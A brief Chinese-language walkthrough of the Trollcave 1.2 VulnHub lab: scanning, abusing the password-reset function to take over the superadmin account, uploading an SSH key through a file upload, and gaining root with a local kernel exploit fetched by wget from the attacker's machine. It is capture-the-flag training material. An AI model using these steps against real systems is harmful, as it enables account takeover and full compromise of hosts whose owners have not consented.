1.靶机介绍
下载地址:https://www.vulnhub.com/entry/trollcave-12,230/
名字: Trollcave: 1.2
Date release: 21 Mar 2018
Author: David Yates Series: Trollcave
Web page: https://davidyat.es/2017/11/27/announcing-trollcave/
只需要读取 root/flag.txt
靶机ip:192.168.56.101
Kali ip:192.168.56.102
2.收集信息
判断内网主机:netdiscover
web网站指纹识别 ,使用whatweb
端口扫描(nmap)
发现22(ssh)和80端口
2.1,收集用户信息
访问 /admin/ 会自动跳转到 /login /login 是用户登录的登录的页面
第一张图片是网站的文章 可以看到 king 这个账号是超级管理员(superadmin) 网页的右边是其他用户,经访问发线这些用户的称谓有些不一样。经测试用户登录随便一个 密码会有提示。
2.2,确定源码
根据文章的资料 我们可以发现 确定网站的程序是 rails
https://github.com/rails/rails
安装的时候会创建用户 rails 从文章得 网站有一个重置密码的功能 但是没有链接提交
https://oomake.com/question/2399179
2.3,修改密码
http://192.168.56.101/password_resets/new
设置 xer 的密码后登录之后发现权限不高。上传文件没法使用。 3.3.3 修改 king 密码 尝试修改权限为 superadmin king 发现不能重置密码 但是可以 用 xer 重置密码后 用户改为 King 即可
http://192.168.56.101/password_resets/edit.eENtR7ARv_bGOYbiX6Sikw?name=King
2.4,上传文件覆盖
登录之后发现上传文件 但是不允许上传 在控制面板把上传限制打开,这样就可以上传文件。上传 php 但是网站不解释 php 文件,但是发现上传的文件可以上传到其他目录。因为可以试试 rails 用户是否存在 如果存在可以上传 authorized_keys 到 rails 用户下的.ssh 就可以免密码登录 ssh
2.5,生成 ssh 密钥
ssh-keygen -f rails
mv rails.pub authorized_key
将 authorized_key 上传到/home/rails/.ssh/
2.6,ssh 登录目标
mv rails id_rsa-rails
chmod 600 id_rsa-rails
ssh -i id_rsa-rails rails@192.168.56.10
交互式shell
/bin/bash -i
3,特权升级
3.1,判断Ubuntu 的版本
通过 cat /etc/lsb-release
得出
查看内核版本:uname -a
目标上没有 gcc
本地编译 在kali上使用searchsploit找exp
复制到当前目录: cp /usr/share/exploitdb/exploits/linux/local/44298.c ./
gcc编译
开启python3 http传输 python3 -m http.server
wget exp
给exp添加可执行权限 chmod +x exp
执行exp
成功提权,获得flag.txt